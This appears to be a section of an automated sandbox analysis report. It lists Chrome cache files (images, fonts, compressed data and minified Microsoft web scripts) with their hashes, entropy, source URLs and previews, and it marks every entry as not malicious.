Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 90678
Category:	dropped
Size (bytes):	32811
Entropy (8bit):	7.993115726308211
Encrypted:	true
SSDEEP:	768:Tu4jwkrxI2adXpo9SSwpmUPieDFpfy2Ky4lS4ru4r0r:300CfRpFpmAieDFpfBbWbru4r0r
MD5:	BCD68C8A4F1BB13B272E02FDA0EB5460
SHA1:	57C81EE13D027556D54744C9246226E1E85C211C
SHA-256:	25D5832DE46E5170761BA826342655D7C5550451332E4086EC366E79D359BD51
SHA-512:	0D70D7476653949F79CC67897F9F36E6B2F503E5C308C59D0C349B841BC2A27CD6408ACB272568CCA6B593AF5060F93FADD217D1677DE0E897608BA3BBFB0493
Malicious:	false
Reputation:	low
Preview:	...........kW.H.?..\|.[g.[...$..Q..B&....e.a.....F.H2.`..S..Z.H..>..5..Z....U.U..~m.^.Yk..d..V.L..2.4i.2..\.V..q..%....G..?..Q..=.u..'..&.G...?y........N.h.z....h...Q...\N'.ky:.F.......2..2)...$..9...j-.G.Ag6..........mos.G..<...~".(....2.Eg.Kq.l6.M.....L....L..,i.....".0.L..DK.\|.d.....;..>QS....r/e...O.gq.Ps./..4...ZA...c.O...[...f......"..4..{......,.b.@.6d2.i..{....&..>.......Q......Q.4.W.....!.'...~...J~.QrF.=;.W2#<i...z..N..$...,N..z.P.....3...'..".h.yG+......>.^.....k.Y:.Y...N..............B...S......5r.E#.........O.t...I..~...3.4%.G.....I........(M/b..*.....SB.3Y......I. .,E.?..i.s.s...$?..f....?.$WLS".M.....{.=.P.~~y.1..uZ2..=!.U.`.s.....n.c...x......O.3B...q...r........).D.z..?.H.HCo...$..<..{./.a.ei..73)F...+"..Q&.JbJ..M..n.$.w.\|.:1Y.....OJ...&..t.:..<M.kk^....NL8..i6,w....,.....y...0...#j;.C..6.%$..o}.A.q-..0.O..g..U..[]j.:.'a...C...2.x..50.\|..}gBlg..i4=<..S...eA.P.S....L.&.Z.f]k.YA@.J......._.!I.k-.L.....XP....{.....i.

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17028
Entropy (8bit):	7.926562320564401
Encrypted:	false
SSDEEP:	384:7wixC+iG9rj5+kgbLPcAmxOkpJIhI9CvaMo05vCf9MRRLMk5K/jk:sifiG2tvXmxHbIhlo05KlGRaY
MD5:	DDCB4FCA39CCADCDF6C1FE2E1F717867
SHA1:	88238D53920F32AF37A802A5E6BFEEC3B1E6F75D
SHA-256:	097DF2DFA3781F1AEDB631C968D04D8152D7C7FA8E92BC91E233B3000E2F34BB
SHA-512:	316574E565EF67B97E13D0BF01CF4AFA8E0E9CF0748768CE4AE6BBB81352685A6E027EADBC083D2B632C412C950E65963E6EA98FE4CE7692C0AE0B6D956D3D37
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...B.IDATx..Y.mWU.W.7.A.e.Z..H.R.F.......$!....iH..4...T@..{i.A.....M..... .XP6eaB..R% ...Bs.o.0N..w...Zkvk..j.>g.}.^...c.1O...?..K.I'..J..<.c..fX!..N.m5...!.O-.=....p/....B.m_..o..........7.{..............]..~...C.....J..g..bI.C.....@&.7.}...u.RYs.J_.P_..j.....J...%..}.{..)}o,....\|...2iil+1.n:.W.b.I@. ......q/........},...K.....b.35f.....@t.C.H..f.....X8...qXA5W\mG..78..E.Wjm..j.C.E.....L.!e...}..... .FKi......!........t.;.s:8.P....9...H@....I! ...lp....`...".#.... .d"......=eN.nNcMUu......=.l......a.@...KY...^.....D..........=..<%&..}...P.HK.CE...0...R1..r..#h.5...)....z.B.....7.DH....KE...ha)....Z.=........)bZH.X.._...)........HK.a.Pn.X1Eh.....o.B......k...2....`..v.O.=...]..Y.!..:R.:......G@jg.q.[b.....)].O.....jm...q.c..*...=B...\|.........%....x.Bc..[.....r.....4......R.}......R...6.I..W..!...8K...:..U.. .3ZH...t.e..f\.(...y>k+.AH"..K.GjI!....J.}...HK..&..%.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1704 x 1188, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	175756
Entropy (8bit):	7.867403782739184
Encrypted:	false
SSDEEP:	3072:P20ZLFqUh1SpJqz4VhROy0ys6GQnkjvX5xhD6GWJeFK8Jwb3/g:VBfSpJqG7Ofy9GckD5xoGWqKj7/g
MD5:	78AEBE1B0915496628AB38474002E9C2
SHA1:	6F956EE0B45CB709EEE1FCDA9EF5DB61D7E119B5
SHA-256:	1FDDF163B3925FF6E0B606A074D69A5A823D51235F681374DD65B4B4DEF1C64D
SHA-512:	3C826FE6EECFE35D7999B60416AEB1803820D8491439339547DBE177AC2B6D3985AD0873C1FB23CBAB236CE05679B3ADBB5C1B36E0CD1F96AC6789251C4828D2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............s......pHYs.........&.:4....sRGB.........gAMA......a....!IDATx.....\g}&.?.......,o./ ....$a.ai'...o..1p....\|....3L>.a....L0&.7.:C...q.....-/....j.......y......U-.[~....S..V......z8.###;=..V..4w[..V.............9+..A...1..w...mmm=X ..044..f.).............yq3y..........P.....H$....."""""""""""""u..Z........\3.+.......=....&.............H.C.....M..3.U.....8.n......ADDDDDDDDDDDDd.&...\.T.l.`../&....)...............n.....,.R..T.I...?.,................[....\.B...f........... """"""""""""2O...G?.Q.W...j........M...:DDDDDDDDDDDDD...+...Q....&K...Ny.....n.................j.....b.........m.%......................^.Xt..?...Xx....c..3.<... """""""""""".@&g:...'in&v..9.._...X.z.3.j5."""""""""""""..,....].?.M.8a....S^{{._.V}.............,BKK...8..m...M.Pf...s.Nl...j..DDDDD """"""".444.X.f.-.B...N?.B..c......j5..DDDDDDDDDDDDD........c...n..v..oZ......T..FFFP.T.x@..........................D........k...9.$.3uww..>...F.g...[n..^.....r.

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56015)
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	5.400548167770734
Encrypted:	false
SSDEEP:	768:z5kvKvdOyaupr7qkUrjEHQ8E5D5m+0Cal/pSl1JEW+zxqJWMKT1M2kZs:dDvZyk2AeBwl/pSl3I9yKJ
MD5:	449A9DEF2F0C6FC3B72C71164A97BDA3
SHA1:	25852714E23804A5500D693786CA8254025EE205
SHA-256:	220F5BD08E467A31A10A9CA1548E3580CEEB6064EAFC047ACFE35C2589BEC54F
SHA-512:	6E294FDD22793F50FB1541773BD1120BAD31108CC7EDD5F951438EB55F13A0E1574A8042750BC23BF2522AAC2F4D406322861BD10D6951D9ED30F98C16DDD274
Malicious:	false
Reputation:	low
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),s=Array.prototype;null==s[a]&&i.f(s,a,{configurable:!0,value:o(null)}),t.exports=function(t){s[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),s=n(7065),u=n(1977),c=n(9

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (918)
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.4604704891374
Encrypted:	false
SSDEEP:	24:hY/LLuvW9BokgrY7cMdhwCBie46Tz1QqIJIzcq9X5wXR5viRX4j:bCo5Y73hwCd4olUItp5wrNj
MD5:	5DC258F6742F6D22A4CD80F50926ED70
SHA1:	2925F965C31990E0F883E2E885A3D57056168DCC
SHA-256:	3B8D3C93FD78C24F4C175C8515E4A5DF79AEE536AF4CED58BA078EA591569EAC
SHA-512:	BB63B3078587A823CCBB2314EFF3CCC16B20A01AC717CE37289DA8B5118E5053F867CE62256CC1C9466A7E2CBF60C854F4DEA68A060D67CC51BAAB17179E140C
Malicious:	false
Reputation:	low
URL:	https://msft.hsprotect.net/index.html
Preview:	<!DOCTYPE html>.<html lang='en'>.<head>. <meta charset='UTF-8'>. <meta name='viewport' content='width=device-width, initial-scale=1.0'>. <title>Human Sensor Script Iframe</title>.</head>.<body>.<script>. var a=["_pxvid","_px3","_pxde"];function b(a){var b=new RegExp("(^\| )"+a+"=([^;]+)"),c=document.cookie.match(b);return c?c[2]:null}function c(a,b,c){window.parent.postMessage({type:"cookie",name:a,value:b,expires:c\|\|new Date(Date.now()+31536e6).toUTCString()},"")}function d(a){var b=/^([^=]+)=([^;])/,c=/expires=([^;]+)/,d=a.match(b),e=d?d[1]:null,f=d?d[2]:null,g=a.match(c),h=g?g[1]:null;return{cookieName:e,cookieValue:f,expires:h}}function e(b){var e=d(b);-1!==a.indexOf(e.cookieName)&&c(e.cookieName,e.cookieValue,e.expires)}function f(){try{var a=Object.getOwnPropertyDescriptor(Document.prototype,"cookie")\|\|Object.getOwnPropertyDescriptor(Object.getPrototypeOf(document),"cookie"),b=a.get.bind(document),c=a.set.bind(document);Object.defineProperty(document,"cookie",{get:fu

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29888, version 0.0
Category:	downloaded
Size (bytes):	29888
Entropy (8bit):	7.993034480673089
Encrypted:	true
SSDEEP:	768:b2epE/P8HSbsbNl+GfEMuHyS4aAyoVfszfHS1W:6eSkgsbGGanzAjIyg
MD5:	E465F101F881B07CCFBB55D51D18135F
SHA1:	0D76B152EA1AE4AA68DB36DCC7BD204ACDC571D3
SHA-256:	6F5EBFD0FC9A520ADCA234FDD34B4DFBEB106942A6F44E65FC1AC54F7D2D6498
SHA-512:	2C1F730DB5108DDE4731F22838AD7EEF4D6698ED5EA0C0951B81B21722DF8051623923672C46F9397F81E74741CDEC794F03AAC37E532D1223A1A1CE448C73AA
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/fonts/support-icons/mdl2/latest_v4_70.woff2
Preview:	wOF2......t........X..tb.........................`..`..6...Y..... ....6.$..,.. .. ..s. ..S."..`...@.."..........!!.T5..?.........#t..7. .. ~"?A..A...4./..}.'.D.8.E......C......T..o.......l.UJ..SB...U.D6..W..uV.j,...+.>"N...}.&E..P~....z..w...Z".k...S:..t.7.fA.ic;%HZi...W.....w...I.p..........=>....) X ....@B......R ..P..$H.....h.{,..X..l. ..uY.w.Kc..+........r.H....... .....!....7$.b......@(Mp..,."z..(......V....y.E..w\...n./...&...+...R.......\~d,.....S..r%.s.s.......h...:.@.!h..(.< .@..0.P2H..!..r.6..V.r.:..)T.9T..n......;....+a...).L+....eX....\|.x...$]hS....+e+ HK.H'Q..RJ..X...}.....l....=S.G.e.{..I%9.1.O~k....@.$.{.M^.......~z...2...r.]b..[......(.H... ...z.)...&....9..$.Q1F...1......7C..UJ...T..F....Z..K.......F..&L0c...p..N8..g...W\...q........Oz..O./......#..... ..L0B.A(..#..#..D..(..M4b.A,..`A.q.'..$ .D$..d..B.RIE.iH'..d .L.....M6r.A..3......PH!.(B1.(......2.S..*PI%..B5......:.S....H#.hB3.h......6...:.I'..B7.......>...+V.0.A.1...

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (503)
Category:	dropped
Size (bytes):	558
Entropy (8bit):	4.98634955391743
Encrypted:	false
SSDEEP:	12:c83DOkFYerjD6tD7fgu1M+WqQRxsZAsDFYAWCyQPO:cmZr6t/zpeT/oWCyaO
MD5:	A3BC5418F2834309CE2918B15F3B8EEA
SHA1:	62BA2712C6D4960F1057E103F6E1F3C95F2C701B
SHA-256:	B2B62643A7C4FE4A4E12934AD819F0293CC00181B78D8091AFFFF3617CEB96B1
SHA-512:	460E22E36E93BEC194D00D47754108539D2E54FF59D4293EEC25463BC3D642879C10D9BBFD881BBE5EC244819F325C422B6D7A7504000BBCE432E4D2A08FB58B
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";function e(e){return document.querySelectorAll(e)}function t(e,t){e.remove(),t.style.removeProperty("display")}window.addEventListener("load",(function(){var o,r=e(".ocpSectionLayout .ocpSection"),n=e(".ocpSectionLayout .shimmer-effect");if(r.length===n.length)for(var i=0;i<n.length;i++){var c=(o=n[i],Number(o.getAttribute("shimmer-delay")));setTimeout(t,c,n[i],r[i])}else n.forEach((function(e){e.remove()})),r.forEach((function(e){e.style.removeProperty("display")}))}))}();.//# sourceMappingURL=shimmerExperiment.Main.min.js.map

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2639), with CRLF line terminators
Category:	downloaded
Size (bytes):	2760
Entropy (8bit):	5.664411453717052
Encrypted:	false
SSDEEP:	48:t1XXw+kOhX/BxVgnK/Q6GiuGq9juwbae13NhcKBLd491lEQT0SKr0zAWNqvDP1hS:H9W3iuV96wDrHBZ4REQTWozAJPHIn/
MD5:	82D37ECDCEF6302C3303842FD0E5C26B
SHA1:	9248589131390DA21CC566427D29A078C600D069
SHA-256:	DC09F33A2EE6DAEFF5BA25F0CD1EC8A3CDBA24A79775C514BFC425815F3B8433
SHA-512:	0FCEBD6FA1ED57E42CBE62B285AC5DC41A9092A3AECF58DAEFDB9677081414A980E8EDA1F924AC881C33F9C9C8607F5F3B8C04B4748AE12B939C93158D3E9EB3
Malicious:	false
Reputation:	low
URL:	https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&session_id=580b85fc2bfd4d5ca847f21f296d9c66&id=7ac3c7d0-3d9a-43cc-569f-fb7c76386fcb&w=8DCC878A8783D43&tkt=taBcrIH61PuCVH7eNCyH0OPzOrGnaCb%252f7mTjN%252fuIW2skF5aedgroigMCqTPW81LsfdjE780b471Kcdte%252boQb7n7Wr6Rx%252f78LNZP%252bLhg98I7wzdlf4Q6JCyp9nUPBEruU0dHed0FWV5f1IfkxNhRMSxzHT%252fkB5RElKrORUrAjx%252fvmIvn44ZwRk44JG7pylPe%252fomUDVz8xxX0QWMbS7Hd1L8GLHKSo%252b7Rph4RI43qnEAfhMASkKnb0pGfcNEW5o5dr4BMdtI7aFkuF0dA%252bO7l8vUiuHMfdqV4ROmr2xwQ0X4aCpN%252bE3s3MjJmbVYNG7FV1&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>..</head>..<script>function BaseStamp() { this.GetStorageQsInfo = function () { if (window.localStorage) { var n = window.localStorage.getItem(lsKey); var lsupd = "False"; if (lsupd === "true" && n) { var xhr = new XMLHttpRequest(), method = "GET", url = target + "updatels.html?ofid=" + n + "&session_id=" + sid + "&CustomerId=" + cid; xhr.open(method, url, true); xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { var update = xhr.responseText; if (update && update.toLowerCase() === "true") { window.localStorage.setItem(lsKey, id); } } }; xhr.send(); } if (n && n != null && n != "" \|\| (window.localStorage.setItem(lsKey, id), n = id), id != n) return "session_id=" + sid + "&CustomerId=" + cid + "&fid=" + id + "&ofid=" + n + "&w=" + ticks + "&auth=" + encodeURIComponent(authKey) } return "" }; this.newXMLHttp = function () { var n = null; return

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 262 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6143
Entropy (8bit):	7.918747274282237
Encrypted:	false
SSDEEP:	96:giqNEZwhaB2uUnZFiegJzFUAgn3KLQSKr0GWYOnRs4CFbHdKiAlQhIaDe8mbUvEZ:Iym0B2vWegA7n3Ksp4GWT9UbOoXa8mbJ
MD5:	CCA42A6DD7E8378D54197303C9B94BD1
SHA1:	4D956D4A7049610D6728557695A2B40D71C24069
SHA-256:	3806A156470D2669E497B39DCD453A1F69CA74D5A1AB69EAB755185C0EFB6A88
SHA-512:	560D18D5C0DE6B86B1338ACC2778D633C612357AFB5ABC0302BBE469E435125DCBBC99D0C7B95B4BB3899187459245270AD0A19C4B2837F68709962FDD16CA0B
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/0b1fe818-4ce3-46e9-8851-111cec3c540c.png
Preview:	.PNG........IHDR.......`.............sRGB.........gAMA......a.....pHYs..."..."........IDATx^...UU...>gf...` ......"4......f..Er....(" ...\|!O..r}.$..J...... `X.(x......9..[.....C....b.......k...0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0.....B\|p..Y..y..0......R.........9..........l..ZF. ....`....>.0.H.c.y.)]2.uY.0....6......"o..7............D..(.cA.6..../....a@...BX...aP...sS.QBP...Ql<3.U.H!(.$........8.I.QD.8.....R.u. ..#H.q#.PW..u...0....Z....s..?.S.L...7.I.&u.6lX..6>..1.!..<8..w.F.......................r:..k..6.G...3&L.P.~d.)......tlfFlK[.J.[3{.^......z+.O.iA...........-r.5....u]MM..!;;;.....g.9.e8.#G...{K]]]$N#)..8p...3f...c.v.F..222N...~...:o..W.c..]QQ......3.............gk...'..!./.N$...6...E.3...?.?.....-s..f...{(e.Q..s\Dt..\|..........\....................i.j}.G...Z..}\|^^.w0..8.o.=.U..>.A...}..Q.W^.P./...e...^[[.[XX..v..].>.`....8.k..%.."NWj.."AF.\|......g..3'.2''.>..w.{3g.....^}.

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30237)
Category:	downloaded
Size (bytes):	30289
Entropy (8bit):	5.260859096902255
Encrypted:	false
SSDEEP:	768:c222n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:cvM0S0/ks2JdImYFcw662A86vzyR
MD5:	E8551A4FAC8D2A2F035BE62CA4C029C6
SHA1:	899325923FBDD3260DD333EC42923CC422E97913
SHA-256:	4AE45C819C9D803938E8EB354B21E05A84F4BCF749B546920D2D2CA83E6481B3
SHA-512:	46591D53AE9C1ADB2DA3B7E66FF9AB0E7BC427D7984A44E18B23E255FE92AF5CC6BAFEE963A4A0AF9A98F30FBFE1A829E08EC05F53BF5080EFB70553412FED4A
Malicious:	false
Reputation:	low
URL:	https://mem.gfx.ms/meversion?partner=SMCConvergence&market=en-us&uhf=1
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authA

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52064)
Category:	dropped
Size (bytes):	149676
Entropy (8bit):	5.438970312499881
Encrypted:	false
SSDEEP:	3072:1rg/MS5K4c4NnP3IlzDE80ojT0jqeCBZ5x:94c6I9X0oBH
MD5:	551146BFB0A7E6A643A54408B31FA99C
SHA1:	659BA9C42AB4B1A6DE7F943129D870DBFD36409A
SHA-256:	AE95EBC7F7A48F110E33D61414CE33E3E06AC62246FDB27A8CD027F4D371CDBC
SHA-512:	3D68C0E995EF53CF7770EDCFF0A469490F9C574E7EE7AF7792319385D003577A74A788307843468FF2272C1C407597BB956450A64FF0A2E1E487DE70A57EFC0D
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 90678
Category:	downloaded
Size (bytes):	32811
Entropy (8bit):	7.993115726308211
Encrypted:	true
SSDEEP:	768:Tu4jwkrxI2adXpo9SSwpmUPieDFpfy2Ky4lS4ru4r0r:300CfRpFpmAieDFpfBbWbru4r0r
MD5:	BCD68C8A4F1BB13B272E02FDA0EB5460
SHA1:	57C81EE13D027556D54744C9246226E1E85C211C
SHA-256:	25D5832DE46E5170761BA826342655D7C5550451332E4086EC366E79D359BD51
SHA-512:	0D70D7476653949F79CC67897F9F36E6B2F503E5C308C59D0C349B841BC2A27CD6408ACB272568CCA6B593AF5060F93FADD217D1677DE0E897608BA3BBFB0493
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/5/chunks/oneds-analytics-js_8c01a5c09df43fd8d323.js
Preview:	...........kW.H.?..\|.[g.[...$..Q..B&....e.a.....F.H2.`..S..Z.H..>..5..Z....U.U..~m.^.Yk..d..V.L..2.4i.2..\.V..q..%....G..?..Q..=.u..'..&.G...?y........N.h.z....h...Q...\N'.ky:.F.......2..2)...$..9...j-.G.Ag6..........mos.G..<...~".(....2.Eg.Kq.l6.M.....L....L..,i.....".0.L..DK.\|.d.....;..>QS....r/e...O.gq.Ps./..4...ZA...c.O...[...f......"..4..{......,.b.@.6d2.i..{....&..>.......Q......Q.4.W.....!.'...~...J~.QrF.=;.W2#<i...z..N..$...,N..z.P.....3...'..".h.yG+......>.^.....k.Y:.Y...N..............B...S......5r.E#.........O.t...I..~...3.4%.G.....I........(M/b..*.....SB.3Y......I. .,E.?..i.s.s...$?..f....?.$WLS".M.....{.=.P.~~y.1..uZ2..=!.U.`.s.....n.c...x......O.3B...q...r........).D.z..?.H.HCo...$..<..{./.a.ei..73)F...+"..Q&.JbJ..M..n.$.w.\|.:1Y.....OJ...&..t.:..<M.kk^....NL8..i6,w....,.....y...0...#j;.C..6.%$..o}.A.q-..0.O..g..U..[]j.:.'a...C...2.x..50.\|..}gBlg..i4=<..S...eA.P.S....L.&.Z.f]k.YA@.J......._.!I.k-.L.....XP....{.....i.

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
